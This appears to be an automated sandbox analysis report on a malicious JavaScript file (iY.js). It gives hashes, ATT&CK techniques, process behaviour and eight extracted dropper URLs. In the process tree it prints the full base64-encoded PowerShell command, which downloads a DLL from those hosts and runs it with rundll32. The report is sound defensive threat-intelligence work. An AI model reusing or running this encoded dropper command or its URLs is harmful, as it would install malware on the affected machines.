6239e4bf81f1fded401ed955f1f870bf1b51a1fd1916a8c7629295b3a84604a6

Resubmissions

21-03-2023 07:01

230321-hs7x9shb54 10

21-03-2023 06:49

230321-hlmczsbb4t 10

Analysis

max time kernel
108s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21-03-2023 06:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

iY.js
Size

53KB
MD5

36621d51e958d1e3154d1d6e81b8e93a
SHA1

9ce87c16dc0cad0e0fcf709edb8b0a635e82432e
SHA256

6239e4bf81f1fded401ed955f1f870bf1b51a1fd1916a8c7629295b3a84604a6
SHA512

a22da574a2d155fd66bbcc1b409cc8164785c336a3d87611af12ff57f426f2e9cdde3befc57efeea879e7bbde2ff96e2a264fd6e29a7914d251476270f847e5a
SSDEEP

768:wraoPeWohY+es08VMrE0Uytgk2Z9l7dabRGrpIHFLgkExBpxjwLsz/ERHAQMxqG:wramJows0XrEhobYqL6xB3MLsz/NFxx

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://discountlandllc.com/uUbH/cW2ebg

exe.dropper

https://kingzunlimited.com/VvAmv/mUioIIipJTQQ

exe.dropper

https://smeolbd.com/ntaUX/3MDVH9cdpva7

exe.dropper

https://odwazig.nl/xNV7x/uZMaE4mcum

exe.dropper

https://sobanaze.com/cJn7i/0f8a0t81i

exe.dropper

https://canadianused.com/euSgOJA/QcQ6SSc

exe.dropper

https://getcash2surveys.com/0HFE0G/NYoKEHjWnhRr

exe.dropper

https://onestopsilkscreeners.ca/o6g4bt1/CC8ely1q

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
18	5080	powershell.exe
28	5080	powershell.exe
33	5080	powershell.exe
36	5080	powershell.exe
38	5080	powershell.exe
41	5080	powershell.exe
47	5080	powershell.exe
51	5080	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5080	powershell.exe
5080	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5080	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 5080	2516	wscript.exe	88
PID 2516 wrote to memory of 5080	2516	wscript.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\iY.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAQQBuAGcAdQBpAHMAaABmAHUAbAAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGQAaQBzAGMAbwB1AG4AdABsAGEAbgBkAGwAbABjAC4AYwBvAG0ALwB1AFUAYgBIAC8AYwBXADIAZQBiAGcALABoAHQAdABwAHMAOgAvAC8AawBpAG4AZwB6AHUAbgBsAGkAbQBpAHQAZQBkAC4AYwBvAG0ALwBWAHYAQQBtAHYALwBtAFUAaQBvAEkASQBpAHAASgBUAFEAUQAsAGgAdAB0AHAAcwA6AC8ALwBzAG0AZQBvAGwAYgBkAC4AYwBvAG0ALwBuAHQAYQBVAFgALwAzAE0ARABWAEgAOQBjAGQAcAB2AGEANwAsAGgAdAB0AHAAcwA6AC8ALwBvAGQAdwBhAHoAaQBnAC4AbgBsAC8AeABOAFYANwB4AC8AdQBaAE0AYQBFADQAbQBjAHUAbQAsAGgAdAB0AHAAcwA6AC8ALwBzAG8AYgBhAG4AYQB6AGUALgBjAG8AbQAvAGMASgBuADcAaQAvADAAZgA4AGEAMAB0ADgAMQBpACwAaAB0AHQAcABzADoALwAvAGMAYQBuAGEAZABpAGEAbgB1AHMAZQBkAC4AYwBvAG0ALwBlAHUAUwBnAE8ASgBBAC8AUQBjAFEANgBTAFMAYwAsAGgAdAB0AHAAcwA6AC8ALwBnAGUAdABjAGEAcwBoADIAcwB1AHIAdgBlAHkAcwAuAGMAbwBtAC8AMABIAEYARQAwAEcALwBOAFkAbwBLAEUASABqAFcAbgBoAFIAcgAsAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBzAHQAbwBwAHMAaQBsAGsAcwBjAHIAZQBlAG4AZQByAHMALgBjAGEALwBvADYAZwA0AGIAdAAxAC8AQwBDADgAZQBsAHkAMQBxACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAHUAbgBwAGUAcgBzAG8AbgBzAEMAaQByAGMAdQBtACAAaQBuACAAJABBAG4AZwB1AGkAcwBoAGYAdQBsACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAHUAbgBwAGUAcgBzAG8AbgBzAEMAaQByAGMAdQBtACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA1ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABiAGkAdAB0AGUAcgBpAG4AZwAuAGQAbABsADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBpAHQAdABlAHIAaQBuAGcALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABiAGkAdAB0AGUAcgBpAG4AZwAuAGQAbABsACwAVwBXADUAMAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5080

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_urcxeiqp.ab4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5080-133-0x000001BD4D730000-0x000001BD4D752000-memory.dmp

Filesize
136KB

Download
memory/5080-143-0x000001BD4D770000-0x000001BD4D780000-memory.dmp

Filesize
64KB

Download
memory/5080-145-0x000001BD4D770000-0x000001BD4D780000-memory.dmp

Filesize
64KB

Download
memory/5080-144-0x000001BD4D770000-0x000001BD4D780000-memory.dmp

Filesize
64KB

Download
memory/5080-146-0x000001BD4D770000-0x000001BD4D780000-memory.dmp

Filesize
64KB

Download
memory/5080-147-0x000001BD4D770000-0x000001BD4D780000-memory.dmp

Filesize
64KB

Download
memory/5080-148-0x000001BD4D770000-0x000001BD4D780000-memory.dmp

Filesize
64KB

Download